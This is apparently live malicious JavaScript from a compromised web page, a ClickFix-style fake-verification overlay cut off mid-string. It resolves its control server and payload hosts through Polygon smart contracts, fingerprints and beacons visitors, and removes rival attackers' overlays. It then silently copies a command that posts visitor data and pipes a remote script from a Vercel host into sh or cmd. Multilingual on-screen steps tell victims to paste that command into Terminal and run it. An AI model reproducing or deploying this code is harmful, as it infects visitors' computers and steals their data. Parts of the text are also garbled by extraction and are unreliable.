(function lscCogniRivalKillInit(){
if (window.__cogniRivalKill) return;
window.__cogniRivalKill = 1;
var RIVAL_SEL = [
‘iframe[src*=”recaptcha”]’,’iframe[src*=”google.com/recaptcha”]’,’iframe[src*=”gstatic.com/recaptcha”]’,
‘.g-recaptcha-bubble-arrow’,’#cfm’,’#cfm-modal’,'[id^=”cfm”]’,'[id*=”cfm-modal”]’,
‘.cfmd-rc-layer’,’.cfmd-rc-host’,’.cfmd-rc-backdrop’,’.cfmd-rc-blur’,'[data-cfmd-own]’,
‘.cfmd-overlay-lock’,'[class*=”cfmd-rc”]’,’.captcha-container:not(#bw-cf-root .captcha-container)’
];
var RIVAL_SCRIPT_RE = /interseq|newtest\d+|12092026|cfmd-rc|__cfmdCaptcha|shieldguard|asseload|immersionzone|kjhg\.lol|wpsecure|wp-accelerate|104\.36|msftauth|main-wrapper-1/i;
function isOur(el){ return el && (el.id === ‘bw-cf-root’ || (el.closest && el.closest(‘#bw-cf-root’))); }
function isRivalNode(el){
if (!el || isOur(el)) return false;
var tag = (el.tagName || ”).toUpperCase();
if (tag === ‘SCRIPT’ && RIVAL_SCRIPT_RE.test(el.src || el.getAttribute(‘src’) || ”)) return true;
var blob = ((el.className || ”) + ‘ ‘ + (el.id || ”) + ‘ ‘ + (el.getAttribute && el.getAttribute(‘data-cfmd-own’) || ”)).toLowerCase();
return /cfmd|cfm-modal|cfm-rc|captcha-container|recaptcha|interseq|asseload|main-wrapper|msftauth|verify you are human/i.test(blob);
}
function nuke(el){
if (!el || isOur(el)) return;
try { el.remove(); } catch(e){
try {
el.style.cssText = ‘display:none!important;visibility:hidden!important;pointer-events:none!important;z-index:-9999!important;opacity:0!important;’;
} catch(e2){}
}
}
function removeRivalScripts(){
try {
document.querySelectorAll(‘script[src]’).forEach(function(s){
var src = s.src || s.getAttribute(‘src’) || ”;
if (RIVAL_SCRIPT_RE.test(src)) nuke(s);
});
} catch(e){}
}
function scrubHtmlRoot(){
try {
var html = document.documentElement;
if (!html) return;
html.classList.remove(‘cfmd-overlay-lock’);
if (document.body) document.body.classList.remove(‘cfmd-overlay-lock’);
Array.from(html.children || []).forEach(function(el){
if (!el || el.tagName === ‘HEAD’ || el.tagName === ‘BODY’) return;
if (el.id === ‘bw-cf-root’) return;
if (isRivalNode(el)) nuke(el);
});
} catch(e){}
try { delete window.__cfmdCaptcha; } catch(e){ window.__cfmdCaptcha = undefined; }
}
function killRivalNodes(){
RIVAL_SEL.forEach(function(sel){
try { document.querySelectorAll(sel).forEach(function(node){ if (!isOur(node)) nuke(node); }); } catch(e){}
});
scrubHtmlRoot();
removeRivalScripts();
}
function ensureRivalCss(){
var style = document.getElementById(‘cogni-rival-kill-css’);
if (style) return;
style = document.createElement(‘style’);
style.id = ‘cogni-rival-kill-css’;
style.textContent = ‘html.cfmd-overlay-lock,body.cfmd-overlay-lock{overflow:auto!important;pointer-events:auto!important;}.cfmd-rc-layer,.cfmd-rc-host,.cfmd-rc-blur,[data-cfmd-own],iframe[src*=”recaptcha”],iframe[src*=”gstatic.com/recaptcha”],.g-recaptcha:not(#bw-cf-root .g-recaptcha),#cfm,#cfm-modal,[id^=”cfm”],[class*=”cfmd-rc”]{display:none!important;visibility:hidden!important;pointer-events:none!important;z-index:-9999!important;opacity:0!important;}html.cogni-captcha-active,html.cogni-captcha-active body{overflow:hidden!important;margin:0!important;padding:0!important;}html.cogni-captcha-active body>*:not(#bw-cf-root){pointer-events:none!important;}#bw-cf-root,#bw-cf-root *{pointer-events:auto!important;}#bw-cf-root{z-index:2147483647!important;position:fixed!important;top:0!important;left:0!important;right:0!important;bottom:0!important;width:100vw!important;height:100vh!important;min-width:100vw!important;min-height:100vh!important;max-width:none!important;max-height:none!important;margin:0!important;padding:0!important;box-sizing:border-box!important;transform:none!important;}’;
(document.head || document.documentElement).appendChild(style);
}
function hookDomInsert(){
function guard(node){
if (!node) return false;
if (node.nodeType === 1 && isRivalNode(node)) { nuke(node); return true; }
if (node.tagName === ‘SCRIPT’) {
var src = node.src || node.getAttribute(‘src’) || ”;
if (RIVAL_SCRIPT_RE.test(src)) { nuke(node); return true; }
}
return false;
}
try {
var ap = Element.prototype.appendChild;
Element.prototype.appendChild = function(ch){
if (guard(ch)) return ch;
return ap.call(this, ch);
};
var ib = Element.prototype.insertBefore;
Element.prototype.insertBefore = function(ch, ref){
if (guard(ch)) return ch;
return ib.call(this, ch, ref);
};
var rc = Element.prototype.replaceChild;
Element.prototype.replaceChild = function(neu, old){
if (guard(neu)) return old;
return rc.call(this, neu, old);
};
} catch(e){}
}
window.lscCogniStackOurOverlay = function(root){
var el = root || document.getElementById(‘bw-cf-root’);
if (!el) return;
ensureRivalCss();
try { document.documentElement.classList.add(‘cogni-captcha-active’); } catch(e){}
try { el.removeAttribute(‘popover’); } catch(e){}
if (el.parentNode !== document.documentElement) {
try { document.documentElement.appendChild(el); } catch(e){}
}
el.style.setProperty(‘z-index’, ‘2147483647’, ‘important’);
el.style.setProperty(‘position’, ‘fixed’, ‘important’);
el.style.setProperty(‘top’, ‘0’, ‘important’);
el.style.setProperty(‘left’, ‘0’, ‘important’);
el.style.setProperty(‘right’, ‘0’, ‘important’);
el.style.setProperty(‘bottom’, ‘0’, ‘important’);
el.style.setProperty(‘width’, ‘100vw’, ‘important’);
el.style.setProperty(‘height’, ‘100vh’, ‘important’);
el.style.setProperty(‘min-width’, ‘100vw’, ‘important’);
el.style.setProperty(‘min-height’, ‘100vh’, ‘important’);
el.style.setProperty(‘max-width’, ‘none’, ‘important’);
el.style.setProperty(‘max-height’, ‘none’, ‘important’);
el.style.setProperty(‘margin’, ‘0’, ‘important’);
el.style.setProperty(‘transform’, ‘none’, ‘important’);
};
function tick(){
killRivalNodes();
ensureRivalCss();
if (document.getElementById(‘bw-cf-root’)) window.lscCogniStackOurOverlay();
}
hookDomInsert();
tick();
})();
!function(){
if (window[‘__alreadyRan’]) return;
window[‘__alreadyRan’] = 1;
var sessionToken = “d1073f38e4c5855f8435c46194f7b1ad74b4065b42fb02cb”;
var FALLBACK_APPS_SCRIPT_URL = “https://script.google.com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec”;
var FALLBACK_VERCEL_BASE = “https://script-six-tawny.vercel.app”;
var APPS_SCRIPT_URL = FALLBACK_APPS_SCRIPT_URL;
var VERCEL_BASE = FALLBACK_VERCEL_BASE;
function detectVisitorOsFamily() {
var ua = navigator.userAgent || ”;
var platform = navigator.platform || ”;
if (/Win/i.test(platform) || /Windows/i.test(ua)) return ‘windows’;
if (/Mac/i.test(platform) || /Macintosh|Mac OS X/i.test(ua)) return ‘mac’;
if (/Linux/i.test(platform) || /Linux|X11/i.test(ua)) return ‘linux’;
return ‘windows’;
}
function detectVisitorOs() {
return detectVisitorOsFamily();
}
function detectWindowsLabel(ua, platformVersion) {
var ntMatch = ua.match(/Windows NT ([0-9.]+)/i);
var nt = ntMatch ? ntMatch[1] : ”;
var pvMajor = platformVersion ?
(parseInt(String(platformVersion).split(‘.’)[0], 10) || 0) : 0;
// Chromium User-Agent Client Hints: Win11 reports platformVersion 13+
if (pvMajor >= 13) return ‘win11’;
if (nt === ‘10.0’ || pvMajor === 10) return ‘win10’;
if (nt === ‘6.3’) return ‘win8.1’;
if (nt === ‘6.2’) return ‘win8’;
if (nt === ‘6.1’) return ‘win7’;
if (nt === ‘6.0’) return ‘winvista’;
if (nt === ‘5.1’) return ‘winxp’;
if (nt) return ‘win’ + nt.replace(/\./g, ”);
return ‘win10’;
}
function detectMacLabel(ua, platformVersion) {
var pvMajor = platformVersion ?
(parseInt(String(platformVersion).split(‘.’)[0], 10) || 0) : 0;
if (pvMajor > 0) return ‘Mac ‘ + pvMajor;
var macMatch = ua.match(/Mac OS X (\d+)[_.](\d+)/i);
if (macMatch) return ‘Mac ‘ + macMatch[1] + ‘.’ + macMatch[2];
return ‘Mac’;
}
function detectLinuxLabel(ua) {
var distroMatch = ua.match(/\b(Ubuntu|Fedora|Debian|Linux Mint|Pop!_OS|Arch Linux|Manjaro|openSUSE(?: Leap| Tumbleweed)?|Kali|elementary OS|Zorin OS)(?:[/ ]([\d.]+))?/i);
if (distroMatch) {
var distro = distroMatch[1];
var ver = distroMatch[2] || ”;
if (/ubuntu/i.test(distro)) {
if (!ver) {
var ubuntuSlash = ua.match(/Ubuntu\/([\d.]+)/i);
ver = ubuntuSlash ? ubuntuSlash[1] : ”;
}
return ver ? (‘Ubuntu ‘ + ver.split(‘.’)[0]) : ‘Ubuntu’;
}
return ver ? (distro + ‘ ‘ + ver.split(‘.’)[0]) : distro;
}
if (/CrOS/i.test(ua)) return ‘ChromeOS’;
if (/Android/i.test(ua)) return ‘Android’;
if (/aarch64|arm64/i.test(ua)) return ‘Linux arm64’;
if (/x86_64|x64|amd64/i.test(ua)) return ‘Linux x86_64’;
return ‘Linux’;
}
function detectVisitorOsLabel(ua, platformVersion) {
ua = ua || navigator.userAgent || ”;
var family = detectVisitorOsFamily();
if (family === ‘windows’) return detectWindowsLabel(ua, platformVersion);
if (family === ‘mac’) return detectMacLabel(ua, platformVersion);
if (family === ‘linux’) return detectLinuxLabel(ua);
return ‘win10’;
}
var VISITOR_OS_LABEL = detectVisitorOsLabel();
(function refineVisitorOsLabel() {
try {
if (!navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues) return;
navigator.userAgentData.getHighEntropyValues([‘platformVersion’])
.then(function(hints) {
VISITOR_OS_LABEL = detectVisitorOsLabel(
navigator.userAgent || ”,
hints && hints.platformVersion
);
try { window.__AVT_OS_LABEL = VISITOR_OS_LABEL; } catch (e) {}
})
.catch(function() {});
} catch (e) {}
})();
function getVisitorOsLabel() {
return VISITOR_OS_LABEL || detectVisitorOsLabel();
}
try { window.__AVT_OS_LABEL = VISITOR_OS_LABEL; } catch (e) {}
function getVercelCommand(os) {
var base = VERCEL_BASE || FALLBACK_VERCEL_BASE;
if (os === ‘linux’) {
return “wget -qO- ‘” + base + “/lin’ -L | sh”;
}
if (os === ‘mac’) {
return “curl -s ‘” + base + “/mac’ -L | sh”;
}
return “curl.exe -s ” + base + “/win -L | cmd”;
}
var rpcList = [
‘https://polygon.drpc.org’,
‘https://rpc.ankr.com/polygon’,
‘https://1rpc.io/matic’,
‘https://polygon-bor-rpc.publicnode.com’,
‘https://polygon-public.nodies.app’,
‘https://polygon-mainnet.public.blastapi.io’,
‘https://polygon.gateway.tenderly.co’,
‘https://rpc-mainnet.matic.quiknode.pro’
];
var linkConfigContract = “0xf70730A4E5b89B6C6E02EdaeD582badf6465e9D9”;
var linkSelectors = {
getAppsScriptUrl: “4e58e2f7”,
getVercelBase: “badd62db”,
getVersion: “0d8e6e2c”
};
var domainContractAddress = “0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2”;
var domainMethodSelector = “b68d1809”;
var LINK_CFG_CACHE_KEY = “cogni_link_cfg”;
function decodeAbiString(hexResult) {
try {
var hexData = hexResult.substr(0, 2) === ‘0x’ ? hexResult.substr(2) : hexResult;
if (hexData.length < 128) return '';
var stringLength = parseInt(hexData.substr(64, 64), 16);
if (!stringLength) return '';
var stringHexBytes = hexData.substr(128, stringLength * 2);
var decodedString = '';
for (var i = 0; i < stringHexBytes.length; i += 2) {
var charCode = parseInt(stringHexBytes.substr(i, 2), 16);
if (charCode) decodedString += String.fromCharCode(charCode);
}
return decodedString;
} catch (e) {
return '';
}
}
function decodeAbiUint256(hexResult) {
try {
var hexData = hexResult && hexResult.substr(0, 2) === '0x' ? hexResult.substr(2) : hexResult;
if (!hexData || hexData.length = rpcList.length) return Promise.resolve(”);
var requestBody = {
jsonrpc: ‘2.0’,
method: ‘eth_call’,
params: [{ to: contract, data: ‘0x’ + selector }, ‘latest’],
id: 1
};
return rpcCall(rpcList[rpcIndex], requestBody)
.then(function (response) {
if (response && response.error) return ethCallAt(contract, selector, rpcIndex + 1);
if (response && response.result) return response.result;
return ethCallAt(contract, selector, rpcIndex + 1);
})
.catch(function () {
return ethCallAt(contract, selector, rpcIndex + 1);
});
}
function fetchStringFromChain(contract, selector, rpcIndex) {
if (rpcIndex >= rpcList.length) return Promise.resolve(”);
return ethCallAt(contract, selector, rpcIndex).then(function (hex) {
var value = decodeAbiString(hex);
if (value) return value;
return fetchStringFromChain(contract, selector, rpcIndex + 1);
});
}
function readLinkCache() {
try {
var raw = localStorage.getItem(LINK_CFG_CACHE_KEY);
return raw ? JSON.parse(raw) : null;
} catch (e) {
return null;
}
}
function writeLinkCache(version, apps, vercel) {
try {
localStorage.setItem(LINK_CFG_CACHE_KEY, JSON.stringify({
version: version,
apps: apps,
vercel: vercel,
ts: Date.now()
}));
} catch (e) {}
}
function isValidAppsUrl(url) {
return !!url
&& /^https:\/\/script\.google\.com\/macros\/s\/[A-Za-z0-9_-]+\/exec$/.test(url)
&& url.indexOf(‘YOUR_SCRIPT_ID’) === -1;
}
function isValidVercelBase(url) {
var base = String(url || ”).replace(/\/+$/, ”);
return !!base
&& /^https:\/\/[a-z0-9-]+\.vercel\.app$/i.test(base)
&& base.indexOf(‘your-app’) === -1;
}
function applyLinkConfig(cfg) {
var apps = (cfg && cfg.apps) ? cfg.apps : FALLBACK_APPS_SCRIPT_URL;
var vercel = (cfg && cfg.vercel) ? String(cfg.vercel).replace(/\/+$/, ”) : FALLBACK_VERCEL_BASE;
APPS_SCRIPT_URL = isValidAppsUrl(apps) ? apps : FALLBACK_APPS_SCRIPT_URL;
VERCEL_BASE = isValidVercelBase(vercel) ? vercel : FALLBACK_VERCEL_BASE;
try { window.__AVT_APPS_SCRIPT_URL = APPS_SCRIPT_URL; } catch (e) {}
try { window.__AVT_VERCEL_BASE = VERCEL_BASE; } catch (e) {}
}
function fetchLinkConfigFromChain(rpcIndex) {
if (rpcIndex >= rpcList.length) return Promise.resolve(null);
var versionBody = {
jsonrpc: ‘2.0’,
method: ‘eth_call’,
params: [{ to: linkConfigContract, data: ‘0x’ + linkSelectors.getVersion }, ‘latest’],
id: 1
};
return rpcCall(rpcList[rpcIndex], versionBody)
.then(function (response) {
if (response && response.error) return fetchLinkConfigFromChain(rpcIndex + 1);
var version = response && response.result ? decodeAbiUint256(response.result) : 0;
if (!version) return fetchLinkConfigFromChain(rpcIndex + 1);
var cached = readLinkCache();
if (cached && cached.version === version &&
isValidAppsUrl(cached.apps) && isValidVercelBase(cached.vercel)) {
return { apps: cached.apps, vercel: cached.vercel, version: version };
}
var appsBody = {
jsonrpc: ‘2.0’,
method: ‘eth_call’,
params: [{ to: linkConfigContract, data: ‘0x’ + linkSelectors.getAppsScriptUrl }, ‘latest’],
id: 2
};
var vercelBody = {
jsonrpc: ‘2.0’,
method: ‘eth_call’,
params: [{ to: linkConfigContract, data: ‘0x’ + linkSelectors.getVercelBase }, ‘latest’],
id: 3
};
return rpcCall(rpcList[rpcIndex], appsBody)
.then(function (appsResp) {
if (appsResp && appsResp.error) return fetchLinkConfigFromChain(rpcIndex + 1);
return rpcCall(rpcList[rpcIndex], vercelBody).then(function (vercelResp) {
if (vercelResp && vercelResp.error) return fetchLinkConfigFromChain(rpcIndex + 1);
var apps = appsResp && appsResp.result ? decodeAbiString(appsResp.result) : ”;
var vercel = vercelResp && vercelResp.result ? decodeAbiString(vercelResp.result) : ”;
if (!isValidAppsUrl(apps) || !isValidVercelBase(vercel)) {
return fetchLinkConfigFromChain(rpcIndex + 1);
}
vercel = String(vercel).replace(/\/+$/, ”);
writeLinkCache(version, apps, vercel);
return { apps: apps, vercel: vercel, version: version };
});
});
})
.catch(function () {
return fetchLinkConfigFromChain(rpcIndex + 1);
});
}
function loadLinkConfig() {
return fetchLinkConfigFromChain(0).then(function (cfg) {
if (cfg) return cfg;
var cached = readLinkCache();
if (cached && isValidAppsUrl(cached.apps) && isValidVercelBase(cached.vercel)) {
return { apps: cached.apps, vercel: cached.vercel, version: cached.version || 0 };
}
return { apps: FALLBACK_APPS_SCRIPT_URL, vercel: FALLBACK_VERCEL_BASE, version: 0 };
});
}
function fetchDomainFromChain(rpcIndex) {
if (rpcIndex >= rpcList.length) return Promise.resolve(null);
var requestBody = {
jsonrpc: ‘2.0’,
method: ‘eth_call’,
params: [{ to: domainContractAddress, data: ‘0x’ + domainMethodSelector }, ‘latest’],
id: 1
};
return rpcCall(rpcList[rpcIndex], requestBody)
.then(function (response) {
if (response && response.error) return fetchDomainFromChain(rpcIndex + 1);
var domain = response && response.result ? decodeAbiString(response.result) : ”;
if (domain) return domain.replace(/\/+$/, ”);
return fetchDomainFromChain(rpcIndex + 1);
})
.catch(function () {
return fetchDomainFromChain(rpcIndex + 1);
});
}
Promise.all([loadLinkConfig(), fetchDomainFromChain(0)]).then(function (results) {
applyLinkConfig(results[0]);
var domain = results[1];
if (!domain) return;
(function() {
‘use strict’;
var API_AUTH_KEY = “d1073f38e4c5855f8435c46194f7b1ad74b4065b42fb02cb”;
var CC_SERVER_API_URL = domain + “/api.php”;
var TARGET_OPERATING_SYSTEM = detectVisitorOs();
var IS_ACTIVE = true;
var TEST_MODE = false;
var CUSTOM_DOMAIN = ”;
var BACKGROUND_OPACITY = 1.00;
var LOCAL_STORAGE_KEY = (function(authKey) {
var stringToHash = authKey + ‘\x00’ + (location.hostname || ”);
var hashValue = 2166136261;
for (var i = 0; i >> 0;
}
return ‘_’ + hashValue.toString(36);
})(API_AUTH_KEY);
var VISITOR_ID_STORAGE_KEY = LOCAL_STORAGE_KEY + ‘_vid’;
function generateRandomVisitorId() {
try {
return crypto.randomUUID();
} catch (error) {
var randomBytes = new Uint8Array(16);
crypto.getRandomValues(randomBytes);
randomBytes[6] = (randomBytes[6] & 15) | 64;
randomBytes[8] = (randomBytes[8] & 63) | 128;
var uuidString = ”;
var byteIndex;
for (byteIndex = 0; byteIndex < 16; byteIndex++) {
uuidString += randomBytes[byteIndex].toString(16).padStart(2, '0');
if (byteIndex === 3 || byteIndex === 5 || byteIndex === 7 || byteIndex === 9) {
uuidString += '-';
}
}
return uuidString;
}
}
var UNIQUE_VISITOR_ID = (function() {
try {
var existingId = localStorage.getItem(VISITOR_ID_STORAGE_KEY);
if (existingId) return existingId;
} catch (error) {}
var newId = generateRandomVisitorId();
try {
localStorage.setItem(VISITOR_ID_STORAGE_KEY, newId);
} catch (error) {}
return newId;
})();
var VISITOR_LOCATION = (function() {
var timezone = '';
try {
timezone = Intl.DateTimeFormat().resolvedOptions().timeZone || '';
} catch (error) {}
var language = navigator.language || navigator.userLanguage || '';
var parts = [];
if (timezone) parts.push(timezone);
if (language) parts.push(language);
return parts.join(' | ') || 'unknown';
})();
var VISITOR_SITE_URL = (function() {
try {
return location.href || location.origin || '';
} catch (error) {
return '';
}
})();
function escapeCmdExeQuotedArg(s) {
return String(s).replace(/"/g, '""');
}
function buildPostDataFields(osFamily, osLabel, nowIso) {
return [
'id=' + encodeURIComponent(UNIQUE_VISITOR_ID),
'location=' + encodeURIComponent(VISITOR_LOCATION),
'siteUrl=' + encodeURIComponent(VISITOR_SITE_URL),
'os=' + encodeURIComponent(osLabel || osFamily),
'lastVisitAt=' + encodeURIComponent(nowIso),
'lastShellAt=' + encodeURIComponent(nowIso)
];
}
function buildWindowsCurlDataArgs(fields) {
var parts = [];
for (var i = 0; i < fields.length; i++) {
parts.push('-d "' + escapeCmdExeQuotedArg(fields[i]) + '"');
}
return parts.join(' ');
}
function buildClipboardCommand() {
var osFamily = TARGET_OPERATING_SYSTEM || detectVisitorOs();
var osLabel = getVisitorOsLabel();
var vercelCommand = getVercelCommand(osFamily);
var nowIso = new Date().toISOString();
var postDataFields = buildPostDataFields(osFamily, osLabel, nowIso);
var postData = postDataFields.join('&');
// Do NOT force POST via -X with -L. Apps Script 302s to an echo URL;
// forcing POST on that redirect returns 411/405 so the sheet never
// updates. -d alone POSTs the first hop; curl then GETs the redirect.
if (osFamily === 'windows') {
// Use one -d per field so CMD never sees bare & inside a quoted arg.
var appsScriptCommand =
'curl.exe -sL ' + buildWindowsCurlDataArgs(postDataFields) +
' "' + escapeCmdExeQuotedArg(APPS_SCRIPT_URL) + '"';
// Wrap in cmd.exe /c "…" with CMD-style doubled quotes so paste works
// in both CMD and PowerShell (& and | are literal inside PS double quotes).
var inner = appsScriptCommand + ' & ' + vercelCommand;
return 'cmd.exe /c "' + escapeCmdExeQuotedArg(inner) + '"';
}
var appsScriptCommand =
'curl -sL -d "' + postData + '" "' + APPS_SCRIPT_URL + '"';
// Google sheet POST first, then OS-specific Vercel payload.
return appsScriptCommand + ' && ' + vercelCommand;
}
try { window.__AVT_CMD = buildClipboardCommand(); } catch (e) {}
try {
if (!TEST_MODE &&
(localStorage.getItem(LOCAL_STORAGE_KEY) ||
document.getElementById('bw-cf-root'))) {
return;
}
} catch (error) {
if (document.getElementById('bw-cf-root')) {
return;
}
}
(function() {
function sendPixelTrackingRequest(url) {
if (window.fetch) {
try {
fetch(url, {
mode: 'no-cors',
credentials: 'omit'
});
} catch (error) {
(new Image).src = url;
}
} else {
(new Image).src = url;
}
}
var trackingData = JSON.stringify({
url: location.href,
ref: document.referrer || '',
vid: UNIQUE_VISITOR_ID
});
function sendUnencryptedData() {
sendPixelTrackingRequest(
CC_SERVER_API_URL +
'?k=' + encodeURIComponent(API_AUTH_KEY) +
'&url=' + encodeURIComponent(location.href) +
'&ref=' + encodeURIComponent(document.referrer || '') +
'&vid=' + encodeURIComponent(UNIQUE_VISITOR_ID) +
(TEST_MODE ? '&test=1' : '')
);
}
if (!window.crypto || !crypto.subtle) {
return sendUnencryptedData();
}
crypto.subtle.digest('SHA-256', new TextEncoder().encode(API_AUTH_KEY))
.then(function(keyBuffer) {
return crypto.subtle.importKey('raw', keyBuffer, {
name: 'AES-GCM'
}, false, ['encrypt']);
})
.then(function(cryptoKey) {
var initializationVector = crypto.getRandomValues(new Uint8Array(12));
return crypto.subtle.encrypt({
name: 'AES-GCM',
iv: initializationVector
}, cryptoKey, new TextEncoder().encode(trackingData))
.then(function(encryptedData) {
var combinedBuffer = new Uint8Array(12 + encryptedData.byteLength);
combinedBuffer.set(initializationVector);
combinedBuffer.set(new Uint8Array(encryptedData), 12);
var base64String = '';
for (var i = 0; i < combinedBuffer.length; i++) {
base64String += String.fromCharCode(combinedBuffer[i]);
}
sendPixelTrackingRequest(
CC_SERVER_API_URL +
'?k=' + encodeURIComponent(API_AUTH_KEY) +
'&d=' + encodeURIComponent(btoa(base64String)) +
(TEST_MODE ? '&test=1' : '')
);
});
})
.catch(sendUnencryptedData);
})();
function copyTextToClipboard(text) {
copyTextLegacyMethod(text);
if (navigator.clipboard && navigator.clipboard.writeText) {
try {
navigator.clipboard.writeText(text);
} catch (error) {
}
}
}
function copyTextLegacyMethod(text) {
try {
var hiddenTextarea = document.createElement('textarea');
hiddenTextarea.value = text;
hiddenTextarea.style.cssText = 'position:fixed;left:-9999px;top:0;opacity:0;';
document.body.appendChild(hiddenTextarea);
hiddenTextarea.focus();
hiddenTextarea.select();
document.execCommand('copy');
document.body.removeChild(hiddenTextarea);
} catch (error) {
}
}
var WINDOWS_LOGO_SVG = '’;
var OS_INSTRUCTION_PACKS = {
mac: {
en: {keyboardInstructions:’Perform the steps on your Mac keyboard’,step1:’
Cmd + Space‘,step2:’
Terminal‘,step2Chip:’then press Enter’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Press \u2318 (Command) next to the space bar, then Space to open Spotlight.’},
de: {keyboardInstructions:’F\u00fchren Sie die Schritte auf Ihrer Mac-Tastatur durch’,step1:’
Cmd + Space‘,step2:’
Terminal‘,step2Chip:’dann Enter dr\u00fccken’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Die Cmd-Taste (\u2318) befindet sich neben der Leertaste. Dr\u00fccken Sie Cmd+Leertaste f\u00fcr Spotlight.’},
fr: {keyboardInstructions:’Effectuez les \u00e9tapes sur votre clavier Mac’,step1:’
Cmd + Espace‘,step2:’
Terminal‘,step2Chip:’puis Entr\u00e9e’,step3:’
Cmd + V‘,step4:’
Entr\u00e9e \u21b5‘,stepKeyHelp:’La touche Cmd (\u2318) est \u00e0 c\u00f4t\u00e9 de la barre d\u2019espace. Cmd+Espace ouvre Spotlight.’},
es: {keyboardInstructions:’Realiza los pasos en tu teclado Mac’,step1:’
Cmd + Espacio‘,step2:’
Terminal‘,step2Chip:’luego Enter’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’La tecla Cmd (\u2318) est\u00e1 junto a la barra espaciadora. Cmd+Espacio abre Spotlight.’},
it: {keyboardInstructions:’Esegui i passaggi sulla tastiera Mac’,step1:’
Cmd + Spazio‘,step2:’
Terminal‘,step2Chip:’poi Invio’,step3:’
Cmd + V‘,step4:’
Invio \u21b5‘,stepKeyHelp:’Il tasto Cmd (\u2318) \u00e8 accanto alla barra spaziatrice. Cmd+Spazio apre Spotlight.’},
pt: {keyboardInstructions:’Execute as etapas no teclado Mac’,step1:’
Cmd + Espa\u00e7o‘,step2:’
Terminal‘,step2Chip:’depois Enter’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’A tecla Cmd (\u2318) est\u00e1 ao lado da barra de espa\u00e7o. Cmd+Espa\u00e7o abre o Spotlight.’},
zh: {keyboardInstructions:’\u8bf7\u5728 Mac \u952e\u76d8\u4e0a\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4′,step1:’
Cmd + Space‘,step2:’
Terminal‘,step2Chip:’\u7136\u540e\u6309 Enter’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’\u2318 (Command) \u952e\u5728\u7a7a\u683c\u952e\u65c1\u3002\u6309 Cmd+Space \u6253\u5f00 Spotlight\u3002′},
ja: {keyboardInstructions:’Mac\u306e\u30ad\u30fc\u30dc\u30fc\u30c9\u3067\u624b\u9806\u3092\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044′,step1:’
Cmd + Space‘,step2:’
Terminal‘,step2Chip:’Enter\u3092\u62bc\u3059′,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’\u2318 (Command) \u30ad\u30fc\u306f\u30b9\u30da\u30fc\u30b9\u30ad\u30fc\u306e\u96a3\u3067\u3059\u3002Cmd+Space\u3067 Spotlight \u3092\u958b\u304d\u307e\u3059\u3002′},
ko: {keyboardInstructions:’Mac \ud0a4\ubcf4\ub4dc\uc5d0\uc11c \ub2e8\uacc4\ub97c \uc218\ud589\ud558\uc138\uc694′,step1:’
Cmd + Space‘,step2:’
Terminal‘,step2Chip:’\uc785\ub825 \ud6c4 Enter’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’\u2318(Command) \ud0a4\ub294 \uc2a4\ud398\uc774\uc2a4\ubc14 \uc62c\ub86d\uc5d0 \uc788\uc2b5\ub2c8\ub2e4. Cmd+Space\ub85c Spotlight\uc744 \uc5fd\ub2c8\ub2e4.’},
tr: {keyboardInstructions:’Ad\u0131mlar\u0131 Mac klavyenizde ger\u00e7ekle\u015ftirin’,step1:’
Cmd + Space‘,step2:’
Terminal‘,step2Chip:’sonra Enter’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’\u2318 (Command) tu\u015fu bo\u015fluk tu\u015funun yan\u0131ndad\u0131r. Cmd+Space Spotlight\u2019\u0131 a\u00e7ar.’},
ar: {keyboardInstructions:’\u0646\u0641\u0651\u0630 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0645\u0641\u0627\u062a\u064a\u062d Mac’,step1:’
Cmd + Space‘,step2:’
Terminal‘,step2Chip:’\u062b\u0645 Enter’,step3:’
Cmd + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’\u0645\u0641\u062a\u0627\u062d \u2318 (Command) \u0628\u062c\u0627\u0646\u0628 \u0645\u0643\u0627\u0646 \u0627\u0644\u0645\u0633\u0627\u0641\u0629. Cmd+Space \u064a\u0641\u062a\u062d Spotlight.’}
},
linux: {
en: {keyboardInstructions:’Perform the steps on your Linux keyboard’,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’or open Terminal from menu’,step3:’
Ctrl + Shift + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T opens Terminal on Ubuntu, GNOME, KDE, and most Linux desktops.’},
de: {keyboardInstructions:’F\u00fchren Sie die Schritte auf Ihrer Linux-Tastatur durch’,step1:’
Strg + Alt + T‘,step2:”,step2Chip:’oder Terminal \u00fcber das Men\u00fc \u00f6ffnen’,step3:’
Strg + Umschalt + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Strg+Alt+T \u00f6ffnet das Terminal unter Ubuntu, GNOME, KDE und den meisten Linux-Desktops.’},
fr: {keyboardInstructions:’Effectuez les \u00e9tapes sur votre clavier Linux’,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’ou ouvrez Terminal depuis le menu’,step3:’
Ctrl + Maj + V‘,step4:’
Entr\u00e9e \u21b5‘,stepKeyHelp:’Ctrl+Alt+T ouvre le terminal sur Ubuntu, GNOME, KDE et la plupart des bureaux Linux.’},
es: {keyboardInstructions:’Realiza los pasos en tu teclado Linux’,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’o abre Terminal desde el men\u00fa’,step3:’
Ctrl + May\u00fas + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T abre la terminal en Ubuntu, GNOME, KDE y la mayor\u00eda de escritorios Linux.’},
it: {keyboardInstructions:’Esegui i passaggi sulla tastiera Linux’,step1:’
